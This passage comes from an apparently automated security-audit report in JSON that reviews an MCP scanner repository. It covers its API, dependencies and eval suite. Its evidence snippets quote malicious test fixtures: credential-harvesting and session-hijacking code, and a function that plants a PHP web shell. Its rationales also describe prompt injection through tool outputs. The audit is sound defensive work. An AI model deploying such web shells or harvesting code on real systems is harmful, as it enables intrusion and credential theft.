exfiltrated.","context_note":null,"within_declared_contract":true,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"evals/behavioral-analysis/data/tool-poisoning/credential_harvesting_local_storage.py","start_line":81,"end_line":87,"snippet":"    auth_manager = AuthenticationManager()\n\n    # POISONED: Harvest credentials to local hidden file\n    auth_manager.store_credentials_locally(username, password)\n\n    # Perform actual authentication\n    is_valid = auth_manager.verify_credentials(username, password)"},{"path":"evals/behavioral-analysis/data/tool-poisoning/session_hijacking_token_manipulation.py","start_line":120,"end_line":129,"snippet":"    # POISONED: Store session token locally for later hijacking\n    user_info = {\"user_id\": \"extracted_from_token\", \"role\": \"user\", \"permissions\": [\"read\", \"write\"]}\n    session_manager.store_session_locally(session_token, user_info)\n\n    # POISONED: Create duplicate session for attacker\n    hijacked_token = [REDACTED](session_token)"},{"path":"mcpscanner/api/api.py","start_line":40,"end_line":43,"snippet":"# AWS Bedrock configuration\nAWS_REGION = os.environ.get(CONSTANTS.ENV_AWS_REGION, CONSTANTS.DEFAULT_AWS_REGION)\nAWS_SESSION_TOKEN = os.environ.get(CONSTANTS.ENV_AWS_SESSION_TOKEN, \"\")\nAWS_PROFILE = os.environ.get(CONSTANTS.ENV_AWS_PROFILE, \"\")"},{"path":"mcpscanner/api/router.py","start_line":865,"end_line":874,"snippet":"            if request.auth.auth_type == AuthType.BEARER:\n                auth = Auth.bearer(request.auth.bearer_token)\n                if request.auth.custom_headers:\n                    auth.custom_headers = request.auth.custom_headers\n            elif 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Command Injection via Process Execution","finding":"SECURE","severity":"CRITICAL","realized_severity":null,"confidence":"high","rationale":"All subprocess invocations in the shipped runtime use argument-vector lists with no shell=True and no attacker-controlled string concatenated into a shell command. The subprocess-shell-true/exec-detected/eval-detected hits found elsewhere are confined to intentionally-malicious test fixtures used to validate the scanner's own detection engine, not shipped application runtime code, and are explicitly excluded contexts per this rule's applicability.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Unsanitized command construction in shipped runtime code can give a remote attacker arbitrary code execution with the application's privileges.","context_note":null,"within_declared_contract":true,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/core/pypi_scanner.py","start_line":186,"end_line":192,"snippet":"            result = subprocess.run(\n                [\"docker\", \"info\"],\n                capture_output=True,\n                text=True,\n                timeout=10,\n            )"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0004","rule_version":"1.2.0","rule_name":"DoS Protections: Timeouts, Concurrency, Streaming Limits","finding":"VULNERABLE","severity":"MEDIUM","realized_severity":"MEDIUM","confidence":"medium","rationale":"The codebase defines and applies timeouts for downstream operations (DEFAULT_LLM_TIMEOUT, DEFAULT_STDIO_TIMEOUT, MCP_CONTENT_READ_TIMEOUT_SECONDS used via asyncio.wait_for in scanner.py) and the PyPI/npm package sandbox enforces byte/file-count caps before extraction. However, the FastAPI service itself installs no rate-limiting, request-body-size, or global concurrency/admission-control middleware in front of its unauthenticated scan-* routes. An unauthenticated caller can issue arbitrarily many full-scan requests; each spins up a fresh Scanner and a potentially expensive remote full-server scan. The existing per-operation timeouts and extraction caps bound individual downstream calls but do not bound the aggregate rate or concurrency of inbound requests, leaving the API edge exposed to resource exhaustion.","vulnerability_details":null,"fix_guidance":"Add request-rate limiting (e.g. per-IP/per-API-key token bucket), a maximum concurrent-request/admission-control gate, and a request body-size cap at the FastAPI middleware layer in front of the scan-* routes, in addition to the existing downstream timeouts.","why_this_matters":"Resource exhaustion can crash or stall MCP.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0004 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. No context relief applies; realized severity equals MEDIUM.","within_declared_contract":null,"transport_gated":null,"mitigation_present":null,"evidence":[{"path":"mcpscanner/api/api.py","start_line":45,"end_line":50,"snippet":"app = FastAPI(\n    title=\"MCP Scanner SDK API\",\n    description=\"An API to scan MCP server tools for security findings using both Cisco AI Defense and custom YARA rules.\",\n    version=\"1.0.0\",\n)\n"},{"path":"mcpscanner/api/api.py","start_line":211,"end_line":216,"snippet":"\n\n# Include the reusable router\napp.include_router(api_router)\n\n# Provide the dependency override for the default scanner"},{"path":"mcpscanner/api/router.py","start_line":488,"end_line":506,"snippet":"    \"/scan-all-tools\",\n    response_model=Union[AllToolsScanResponse, FormattedToolScanResponse],\n    tags=[\"Scanning\"],\n)\nasync def scan_all_tools_endpoint(\n    request: APIScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan all tools on an MCP server.\"\"\"\n    logger.debug(f\"Starting full server scan - server: {request.server_url}\")\n\n    try:\n        analyzers = request.resolved_analyzers()\n        scanner = scanner_factory(analyzers)\n\n        # Extract HTTP headers for analyzers\n        http_headers = dict(http_request.headers)\n"},{"path":"mcpscanner/api/router.py","start_line":519,"end_line":525,"snippet":"\n        results = await scanner.scan_remote_server_tools(\n            server_url=request.server_url,\n            auth=auth,\n            analyzers=analyzers,\n            http_headers=http_headers,\n            **_hybrid_routing_kwargs(request),"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0005","rule_version":"1.2.0","rule_name":"Logging Hygiene (No Secrets/PII/Tokens) & Audit Trail","finding":"VULNERABLE","severity":"MEDIUM","realized_severity":"MEDIUM","confidence":"medium","rationale":"BearerAuth/ApiKeyAuth wrap explicit bearer tokens/API keys in pydantic SecretStr, which redacts those values from logs -- a genuine positive control for explicit auth objects. However, the scan endpoints log the caller-supplied server_url verbatim at debug level via an f-string, and the URL validator only checks for an http(s):// prefix -- it does not reject or scrub userinfo credentials or secret-bearing query parameters embedded in that URL. When debug logging is enabled, a server_url containing an embedded credential or token is written to logs unredacted; the CLI's default WARNING log level is a partial mitigation but does not change the underlying unsanitized sink.","vulnerability_details":null,"fix_guidance":"Strip or redact userinfo credentials and known secret-bearing query parameters from server_url before interpolating it into any log statement, independent of the configured log level.","why_this_matters":"Prevents sensitive data leakage; enables forensics.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0005 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. No context relief applies; realized severity equals MEDIUM.","within_declared_contract":null,"transport_gated":null,"mitigation_present":null,"evidence":[{"path":"mcpscanner/core/models.py","start_line":213,"end_line":222,"snippet":"    @field_validator(\"server_url\")\n    @classmethod\n    def validate_server_url(cls, v):\n        \"\"\"Validate server URL format.\"\"\"\n        if not v or not v.strip():\n            raise ValueError(\"Server URL cannot be empty\")\n        v = v.strip()\n        if not (v.startswith(\"http://\") or v.startswith(\"https://\")):\n            raise ValueError(\"Server URL must start with http:// or https://\")\n        return v"},{"path":"mcpscanner/api/router.py","start_line":396,"end_line":405,"snippet":")\nasync def scan_tool_endpoint(\n    request: SpecificToolScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan a specific tool on an MCP server.\"\"\"\n    logger.debug(\n        f\"Starting tool scan - server: {request.server_url}, tool: {request.tool_name}\"\n    )"},{"path":"mcpscanner/cli.py","start_line":1727,"end_line":1733,"snippet":"        logging.basicConfig(\n            level=logging.WARNING,\n            format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n            stream=sys.stderr,\n        )\n        set_log_level(logging.WARNING)\n"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0006","rule_version":"1.2.0","rule_name":"Container/Runtime Hardening","finding":"SECURE","severity":"MEDIUM","realized_severity":null,"confidence":"high","rationale":"All four shipped Dockerfiles pin the base image by digest, create and switch to a dedicated non-root user before the working directory is used, and remove build-only toolchains after the install step. A config scan found only one LOW-severity finding (missing HEALTHCHECK) across the Dockerfiles it inspected, well below this rule's bar for hardening gaps like root execution, writable rootfs abuse, or missing capability drops.","vulnerability_details":null,"fix_guidance":"Optionally add a HEALTHCHECK instruction to each Dockerfile to clear the one remaining LOW-severity Trivy finding (DS-0026).","why_this_matters":"Reduces blast radius of exploits.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/docker/Dockerfile","start_line":7,"end_line":36,"snippet":"ARG PYTHON_BASE_IMAGE=python:3.13-alpine@sha256:399babc8b49529dabfd9c922f2b5eea81d611e4512e3ed250d75bd2e7683f4b0\nFROM ${PYTHON_BASE_IMAGE}\n...\nRUN apk add --no-cache gcc musl-dev libffi-dev\n...\n && apk del gcc musl-dev libffi-dev\n\nCOPY mcpscanner/docker/entrypoint.py /entrypoint.py\n\nRUN adduser -D -u 10001 scanner \\\n && mkdir -p /work/download /work/package \\\n && chown -R scanner:scanner /work /entrypoint.py\nUSER scanner\nWORKDIR /work\n\nENTRYPOINT [\"python\", \"/entrypoint.py\"]"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0007","rule_version":"1.2.0","rule_name":"Dependency Risk & Supply Chain","finding":"VULNERABLE","severity":"HIGH","realized_severity":"HIGH","confidence":"high","rationale":"uv.lock (126 pinned packages, committed to the repo) pins anyio==4.12.0, cryptography==46.0.3, mcp==1.25.0, and pyjwt==2.10.1 among other transitive deps. Trivy's dependency scan of this lockfile identified 25 known HIGH/CRITICAL CVEs with fixed versions already published: CVE-2026-63374 (anyio), CVE-2026-102268/102267/102271 (pyjwt), CVE-2026-32597/48526 (pyjwt), CVE-2026-26007/69247/69249/GHSA-537c (cryptography), CVE-2026-104851 (fsspec), CVE-2026-52869/52870/59950 (mcp SDK), GHSA-6v7p (msgpack), CVE-2026-24486/42561/53539 (python-multipart), CVE-2026-48818/54283 (starlette), and CVE-2026-21441/44431/44432/97687/97689 (urllib3). The `uv sync`-based install/CI path consumes this lockfile directly and preserves these known-vulnerable versions in a supported installation path; the Dockerfile's `pip install .` branch does not itself read uv.lock and instead resolves constraints from pyproject.toml, but this does not eliminate the uv-sync-based exposure. These packages are wired into the shipped runtime: pyjwt backs OAuth/JWT handling, cryptography underlies TLS and OAuth token signing, mcp is the core SDK transport client used in every scan, and anyio/starlette/python-multipart underlie the FastAPI REST server. No scheduled dependency-update gate was found wired into CI to keep these current.","vulnerability_details":null,"fix_guidance":"Run `uv lock --upgrade-package anyio --upgrade-package pyjwt --upgrade-package cryptography --upgrade-package mcp --upgrade-package msgpack --upgrade-package python-multipart --upgrade-package starlette --upgrade-package urllib3` (or a full `uv lock --upgrade`), re-run Trivy to confirm closure, and add a scheduled dependency-update workflow (Dependabot/Renovate) to catch future CVEs automatically.","why_this_matters":"Prevents typosquat and malicious update compromise.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0007 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. No context relief applies; realized severity equals HIGH.","within_declared_contract":true,"transport_gated":false,"mitigation_present":false,"evidence":[{"path":"uv.lock","start_line":206,"end_line":208,"snippet":"name = \"anyio\"\nversion = \"4.12.0\"\nsource = { registry = \"https://pypi.org/simple\" }"},{"path":"uv.lock","start_line":2207,"end_line":2209,"snippet":"name = \"pyjwt\"\nversion = \"2.10.1\"\nsource = { registry = \"https://pypi.org/simple\" }"},{"path":"mcpscanner/core/auth.py","start_line":28,"end_line":20,"snippet":"import httpx\nfrom pydantic import AnyUrl, SecretStr, BaseModel\nfrom mcp.client.auth import OAuthClientProvider, TokenStorage\nfrom mcp.shared.auth import OAuthClientInformationFull, OAuthClientMetadata, OAuthToken\n\nfrom ..config.config import Config"},{"path":"mcpscanner/docker/Dockerfile","start_line":17,"end_line":27,"snippet":"COPY pyproject.toml README.md uv.lock ./\nCOPY mcpscanner ./mcpscanner\nRUN if [ \"$INSTALL_FROM_SOURCE\" = \"1\" ]; then \\\n      pip install --no-cache-dir .; \\\n    elif [ -n \"$SCANNER_PACKAGE_VERSION\" ]; then \\\n      pip install --no-cache-dir \"cisco-ai-mcp-scanner==${SCANNER_PACKAGE_VERSION}\"; \\\n    else \\\n      pip install --no-cache-dir cisco-ai-mcp-scanner; \\\n    fi \\\n && apk del gcc musl-dev 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That value is forwarded directly into outbound MCP session creation with no scheme, host, or length validation on this path. The rule's input-validation bar is not met for this specific, reachable route.","vulnerability_details":null,"fix_guidance":"Add the same (or a shared) server_url field_validator used by SpecificToolScanRequest to APIScanRequest (and any other request model accepting a server_url), enforcing scheme/host format validation before the value reaches session-creation logic.","why_this_matters":"Frontline control to prevent multiple classes of vulns.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0008 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. 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The only occurrences of these strings are (a) in the tool's own static analyzer, where they are listed as sink patterns the analyzer searches for when scanning third-party MCP server code (detection signatures, not executed code), and (b) in prompt template markdown files used to instruct the LLM judge what to look for. No first-party code deserializes attacker-controlled bytes with an unsafe loader.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Can lead to arbitrary code execution.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/core/static_analysis/taint/patterns.py","start_line":385,"end_line":392,"snippet":"        # deserialization sinks the analyzer searches for in SCANNED code\n            \"pickle.load\", \"pickle.loads\",\n            \"yaml.load\", \"yaml.unsafe_load\",\n            \"marshal.load\", \"marshal.loads\","}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0010","rule_version":"1.2.0","rule_name":"Lack of Output Encoding/Sanitization","finding":"VULNERABLE","severity":"MEDIUM","realized_severity":"MEDIUM","confidence":"high","rationale":"Remote MCP-controlled tool names (and other scanned metadata) flow from ToolScanResult.tool_name through the CLI's report generator into formatted terminal output without ANSI/control-character sanitization. Although the REST API path returns only structured JSON, the CLI's terminal-rendering path is in-scope for this rule's output-sanitization requirement, and the above flow lacks the needed sanitization, so the rule applies and is violated.","vulnerability_details":null,"fix_guidance":"Sanitize or strip ANSI escape sequences and other control characters from remotely-sourced tool/prompt/resource names (and any other scanned-server-controlled strings) before interpolating them into CLI-rendered report text.","why_this_matters":"Prevents UI-level injection and operator compromise.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0010 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. No context relief applies; realized severity equals MEDIUM.","within_declared_contract":null,"transport_gated":null,"mitigation_present":null,"evidence":[{"path":"mcpscanner/core/report_generator.py","start_line":184,"end_line":190,"snippet":"        # Add type-specific fields\n        if hasattr(result, \"tool_name\"):\n            # ToolScanResult\n            result_dict[\"tool_name\"] = result.tool_name\n            result_dict[\"tool_description\"] = result.tool_description\n            result_dict[\"item_type\"] = \"tool\"\n        elif hasattr(result, \"prompt_name\"):"},{"path":"mcpscanner/core/report_generator.py","start_line":405,"end_line":414,"snippet":"            item_type = result.get(\"item_type\", \"tool\")\n\n            if item_type == \"tool\":\n                item_name = result.get(\n                    \"tool_name\", result.get(\"package_name\", \"Unknown\")\n                )\n            elif item_type == \"prompt\":\n                item_name = result.get(\"prompt_name\", \"Unknown\")\n            elif item_type == \"resource\":\n                item_name = result.get(\"resource_name\", \"Unknown\")"},{"path":"mcpscanner/cli.py","start_line":2781,"end_line":2790,"snippet":"        # Generate and display report\n        formatted_output = formatter.format_output(\n            format_type=output_format,\n            tool_filter=args.tool_filter,\n            analyzer_filter=args.analyzer_filter,\n            severity_filter=severity_filter,\n            show_safe=not args.hide_safe,\n        )\n        print(formatted_output)\n"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0011","rule_version":"1.4.0","rule_name":"Path Traversal & Symlink Bypass (Filesystem Tools)","finding":"SECURE","severity":"HIGH","realized_severity":null,"confidence":"high","rationale":"The package sandbox extraction path (used when scanning PyPI/npm packages pulled from untrusted registries) uses Python's tarfile `filter=\"data\"` (hardened extraction available on this project's Python floor) which rejects absolute paths, '..' traversal, symlinks/hardlinks pointing outside the root, and special files, combined with explicit byte/file count caps applied before extraction. A semgrep hit on this line is context-guarded by the presence of the `filter=\"data\"` argument, which is the documented mitigation for that exact pattern.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Traversal exposes arbitrary host files; can lead to code execution.","context_note":null,"within_declared_contract":true,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/core/package_sandbox.py","start_line":744,"end_line":774,"snippet":"    try:\n        with tarfile.open(archive, \"r:gz\") as tf:\n            members = tf.getmembers()\n            if len(members) > files_cap:\n                raise PackageExtractionError(...)\n            total_size = 0\n            for m in members:\n                if m.size and m.size > bytes_cap:\n                    raise PackageExtractionError(...)\n                total_size += m.size\n                if total_size > bytes_cap:\n                    raise PackageExtractionError(...)\n            # ``filter=\"data\"`` raises on absolute/traversal/symlink members.\n            tf.extractall(dest_dir, filter=\"data\")\n    except PackageExtractionError:\n        raise\n    except (tarfile.TarError, OSError) as e:\n        raise PackageExtractionError(f\"tarball extraction failed: {e}\") from e"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0012","rule_version":"1.2.0","rule_name":"Denial of Wallet / Cost Controls","finding":"VULNERABLE","severity":"MEDIUM","realized_severity":"MEDIUM","confidence":"medium","rationale":"The scanner wires paid/metered external APIs (Cisco AI Defense inspect API, LLM providers via litellm) with no per-caller quota, daily budget, or cost ceiling anywhere in the codebase. VirusTotalAnalyzer implements only a local rate-limit counter to respect VirusTotal's own API limits (not a cost control), but VirusTotal scanning is explicitly SDK/CLI-only and not reachable via the REST API's analyzer set. The REST API's default/allowed analyzers (API and LLM) are reachable and dispatch one analysis task per remotely advertised tool, each invoking a metered completion API, with no cross-request budget/quota enforcement at the API layer. This reachable, unauthenticated, unbudgeted cost path independently establishes denial-of-wallet risk.","vulnerability_details":null,"fix_guidance":"Add per-API-key/per-tenant request quotas and a configurable daily/monthly cost budget for the LLM and Cisco AI Defense analyzers at the FastAPI dependency layer (e.g. a token-bucket limiter keyed on caller identity), and surface a 429/402 response when the budget is exceeded.","why_this_matters":"Prevents cost-based disruption.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] [readers_disagree:mitigation_present] within_declared_contract is ineligible for relief on ATR-C0012 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. The scan reported mitigation_present but the independent adjudication did not corroborate it; relief (-40%) requires both readers, so none is applied for that signal. No context relief applies; realized severity equals MEDIUM.","within_declared_contract":true,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/core/analyzers/virustotal_analyzer.py","start_line":240,"end_line":248,"snippet":"        # Rate-limit tracking\n        self._api_calls: int = 0\n        self._minute_window_start: float = 0.0\n        self._minute_calls: int = 0\n\n        if self.api_key:\n            self.session.headers.update(\n                {\"x-apikey\": self.api_key, \"Accept\": \"application/json\"}\n            )"},{"path":"mcpscanner/api/router.py","start_line":492,"end_line":524,"snippet":"async def scan_all_tools_endpoint(\n    request: APIScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan all tools on an MCP server.\"\"\"\n    ...\n        results = await scanner.scan_remote_server_tools(\n            server_url=request.server_url,\n            auth=auth,\n            analyzers=analyzers,\n            http_headers=http_headers,\n            **_hybrid_routing_kwargs(request),\n        )"},{"path":"mcpscanner/core/models.py","start_line":304,"end_line":314,"snippet":"    server_url: str\n    analyzers: List[AnalyzerEnum] = Field(\n        default=[AnalyzerEnum.API, AnalyzerEnum.YARA, AnalyzerEnum.LLM],\n        description=(\n            \"List of analyzers to run. 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There is no agent loop here where a scanned server's output is re-injected as trusted context for further autonomous tool chaining -- the scanner's LLM call is a one-shot classification request whose only action is to emit a structured threat verdict, not a decision to invoke further tools. The threat this rule targets does not match this component's actual control-flow architecture: scanned content is always treated as adversarial input to be classified, never as trusted instructions to act upon.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Tool outputs are a primary prompt-injection vector. Third-party content (web pages, files, API responses) may contain text crafted to override instructions or impersonate system/tool messages. Without a host-enforced envelope, sanitization, and an explicit untrusted-return signal, the model can be coerced into executing attacker-controlled directives, leaking secrets, or chaining further tool calls on behalf of the adversary.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"mcpscanner/core/analyzers/readiness/llm_judge.py","start_line":108,"end_line":117,"snippet":"        enabled_evaluations: List of evaluation IDs to run. Valid values:\n                             'actionable_errors', 'failure_modes', 'scope_clarity'.\n                             Defaults to all evaluations.\n        \"\"\"\n        self.model = (\n            model\n            or os.environ.get(MCPScannerConstants.ENV_LLM_MODEL)\n            or MCPScannerConstants.DEFAULT_LLM_MODEL\n        )\n        self.api_key = api_key or os.environ.get(MCPScannerConstants.ENV_LLM_API_KEY)"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0014","rule_version":"1.2.0","rule_name":"CI/CD Workflow Script Injection","finding":"SECURE","severity":"HIGH","realized_severity":null,"confidence":"high","rationale":"Reviewed all five GitHub Actions workflows. No workflow uses pull_request_target, issue_comment, workflow_run, or repository_dispatch triggers. The only dangerous-sounding triggers present require repo-write/maintainer-level trigger capability, not arbitrary public-contributor control. All `${{ ... }}` interpolations found are either workflow-internal step outputs, a ref fixed to the tag that triggered a release-published event, or secrets consumed as environment variables, not concatenated into dynamically re-parsed shell. No attacker-controlled event field is interpolated into any run block.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"CI/CD script injection can execute attacker-controlled commands with workflow tokens, repository secrets, trusted-runner access, artifact or cache authority, and release or deployment privileges.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":".github/workflows/build-macos.yml","start_line":49,"end_line":56,"snippet":"      - name: Get version\n        id: version\n        run: echo \"version=${GITHUB_REF_NAME#v}\" >> $GITHUB_OUTPUT"},{"path":".github/workflows/ci-cd-run.yml","start_line":25,"end_line":28,"snippet":"  workflow_dispatch:\n  push:\n    branches: [main]"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-R0001","rule_version":"1.3.0","rule_name":"Weaponization: Malicious-Purpose Artifact (Offensive Capability by Design)","finding":"UNKNOWN","severity":"CRITICAL","realized_severity":null,"confidence":"high","rationale":"The repository bundles directly operational offensive-capability fixtures under evals/ (e.g. a function that writes a PHP command web-shell to disk), justified only by the eval suite's own self-asserted framing as test/demo data for the scanner's detection engines. Per this rule's three-way rubric, offensive capability carrying only fixture/research/evaluation framing must abstain to UNKNOWN rather than being cleared SECURE, because the framing is self-asserted and does not on its own eliminate the bundled, directly operational capability.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"An artifact whose purpose is to weaponize the agent -- to produce malware, steal credentials, evade defenses, or run attacks at scale -- is dangerous regardless of how securely it is built; posture controls (auth, input validation, least privilege) cannot make a weapon safe, which is why a confirmed weaponization finding caps the trust verdict to `blocked` rather than being averaged against a good posture score. Catching malicious PURPOSE is a distinct safety control, and it must be conservative because offensive capability is dual-use: legitimate pentest, CTF, defensive, and research work must abstain (UNKNOWN), never block -- unless the artifact itself hides from the people who install, run or audit it.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"evals/behavioral-analysis/data/backdoor/multi_feature_web_shell.py","start_line":27,"end_line":34,"snippet":"    @staticmethod\n    def deploy_simple_shell():\n        \"\"\"BACKDOOR: Deploy simple PHP web shell\"\"\"\n        webshell = \"\"\"<?php system($_GET['cmd']); ?>\"\"\"\n        try:\n            with open(\"/var/www/html/shell.php\", \"w\") as f:\n                f.write(webshell)\n        except:","vulnerability":{}},{"path":"evals/README.md","start_line":1,"end_line":12,"snippet":"# MCP Scanner Evaluation Suite\nThis directory contains evaluation datasets and scripts for testing the MCP Scanner's detection capabilities.\n## Structure\nevals/\n  behavioral-analysis/\n    data/           # Malicious MCP server test cases (141 files)"}],"affected_tools":null,"component_name":null}],"component_tools":[],"summary":{"high_level_risks":["No authentication or authorization on any REST API endpoint (mcpscanner/api/api.py + server.py): any network-reachable caller can invoke /scan-tool, /scan-all-tools, /scan-prompt, /scan-resource, /scan-instructions, triggering outbound SSRF-capable HTTP requests to attacker-supplied server_url using the operator's Cisco AI Defense and LLM provider API keys -- compounded by the README's documented `mcp-scanner-api --host 0.0.0.0 --port 8080` deployment with no TLS and no CORS/Origin/Host validation.","SSRF: no private/loopback/link-local/metadata-IP denylist on the MCP server-scanning dial path (_get_mcp_session in scanner.py) used by all REST API scan endpoints -- the package_sandbox.py sandbox has this exact control (_reject_private_resolved_host) but the MCP-server-scanning path does not, which matters when the API is bound to 0.0.0.0 as documented.","No TLS support in the API server launcher (mcpscanner/server.py has no ssl_keyfile/ssl_certfile option), so any non-loopback deployment following the documented 0.0.0.0 example serves plaintext HTTP with no operator guidance to add a TLS-terminating reverse proxy.","No OAuth 2.1 (or any) authorization protects the remote-reachable REST surface, violating the MCP Authorization spec requirement for remote HTTP transports -- the service only forwards caller-supplied credentials outbound to scanned MCP servers, never validating incoming callers.","Dependency risk: 25 known HIGH/CRITICAL CVEs in pinned-but-outdated transitive dependencies (pyjwt, cryptography, anyio, mcp SDK, starlette, urllib3, python-multipart, msgpack, fsspec) per Trivy scan of the committed uv.lock, with fixed versions already published upstream.","Denial of wallet: no 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TrustedHostMiddleware (explicit Host allowlist) and CORSMiddleware (explicit Origin allowlist, never wildcard) to the FastAPI app to defend against DNS-rebinding and cross-origin abuse.","Run `uv lock --upgrade-package anyio --upgrade-package pyjwt --upgrade-package cryptography --upgrade-package mcp --upgrade-package msgpack --upgrade-package python-multipart --upgrade-package starlette --upgrade-package urllib3` and wire a scheduled Dependabot/Renovate job to keep the lockfile current.","Add per-API-key/per-tenant request quotas and a configurable cost budget for the LLM/Cisco AI Defense/VirusTotal analyzers at the FastAPI dependency layer, returning 429/402 when exceeded.","Default the README's production deployment guidance to loopback-only with an explicit, prominent warning about the risks of --host 0.0.0.0 until authentication and TLS are in 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Use this skill when the user wants to check MCP servers for security issues, detect prompt injection, tool poisoning, or analyze MCP configurations for threats.\n---\n\n# MCP Security Scanning\n\nWhen the user asks to scan MCP servers or check for security issues in MCP configurations, use the `uv run mcp-scanner` CLI tool."}],"affected_tools":null,"component_name":"skills-plugins/claude-code-plugin/skills/security-scan"},{"rule_id":"ATR-P0002","rule_version":"1.0.0","rule_name":"Consent Suppression and Guardrail / Human-in-the-Loop Subversion via Trusted Instructions","finding":"SECURE","severity":"CRITICAL","realized_severity":null,"confidence":"high","rationale":"SKILL.md contains purely descriptive, task-scoped prose with no consent-suppression or authority-override language; a keyword scan for bypass/silently/auto-approve/override-system-prompt phrasing returns zero matches.","vulnerability_details":null,"fix_guidance":"No action required.","why_this_matters":"Because a skill/plugin instruction body is ingested as trusted first-party context, consent- or oversight-suppressing prose inherits the host's full authority and turns a passive package into a self-authorizing backdoor that strips the human-in-the-loop control from every action it can reach.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"claude-code-plugin/skills/security-scan/SKILL.md","start_line":233,"end_line":240,"snippet":"## Best Practices\n\n1. **Start with YARA**: Use `--analyzers yara` for quick initial scans (no API keys needed)\n2. **Add LLM for depth**: Include `llm` analyzer for semantic analysis of suspicious tools\n3. **Use detailed format**: Use `--format detailed` when investigating findings\n4. **CI/CD integration**: Use static scanning with `--format raw` for pipeline integration\n5. **Scan before install**: Always scan new MCP servers before adding to your configuration\n6. **Regular rescans**: Periodically rescan existing configurations for new threats"}],"affected_tools":null,"component_name":"skills-plugins/claude-code-plugin/skills/security-scan"},{"rule_id":"ATR-P0003","rule_version":"1.2.0","rule_name":"Host-Credential and Conversation-Context Harvesting and Exfiltration","finding":"NOT_APPLICABLE","severity":"CRITICAL","realized_severity":null,"confidence":"high","rationale":"Same analysis as the parent plugin component: SKILL.md documents the scanner's own required env vars but contains no instruction to read host credential stores or conversation/memory context and route it elsewhere. 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No bundled executables, install hooks, or credential/env reach beyond the scanner's own documented config vars.","vulnerability_details":null,"fix_guidance":"No action required.","why_this_matters":"An artifact that self-declares host privilege far beyond its stated function -- or hides executable reach inside a passive-looking package -- gives a single install a blast radius the operator never scoped, so any later mistake, compromise, or misconfiguration detonates across resources the artifact never needed.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"claude-code-plugin/skills/security-scan/SKILL.md","start_line":1,"end_line":4,"snippet":"---\nname: mcp-security-scan\ndescription: Scans MCP servers, tools, prompts, and resources for security vulnerabilities using YARA rules, LLM analysis, and Cisco AI Defense API. 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Use this skill when the user wants to check MCP servers for security issues, detect prompt injection, tool poisoning, or analyze MCP configurations for threats.\n---"}],"affected_tools":null,"component_name":"skills-plugins/claude-code-plugin/skills/security-scan"}],"repo_findings_inherited":[{"rule_id":"ATR-C0001","rule_version":"1.2.0","rule_name":"Unrestricted Network Fetch / SSRF","finding":"VULNERABLE","severity":"HIGH","realized_severity":"HIGH","confidence":"medium","rationale":"The REST API (/scan-tool, /scan-all-tools, /scan-prompt, /scan-resource endpoints) and CLI accept a caller-supplied server_url which the scanner's httpx/MCP SSE/streamable-HTTP client connects to directly. The URL validator only enforces an http(s):// scheme prefix -- it does not block loopback, RFC1918/link-local, or cloud-metadata IPs. By contrast, the PyPI/npm package-download sandbox path has an explicit private/loopback/link-local/multicast host check before dialing a URL; the MCP-server-scanning dial path has no equivalent check. When exposed as a multi-tenant REST API, a remote caller can direct the server process to connect to internal-only endpoints (metadata service, internal admin MCP servers, etc.) using the scanner's network position.","vulnerability_details":null,"fix_guidance":"Apply the same 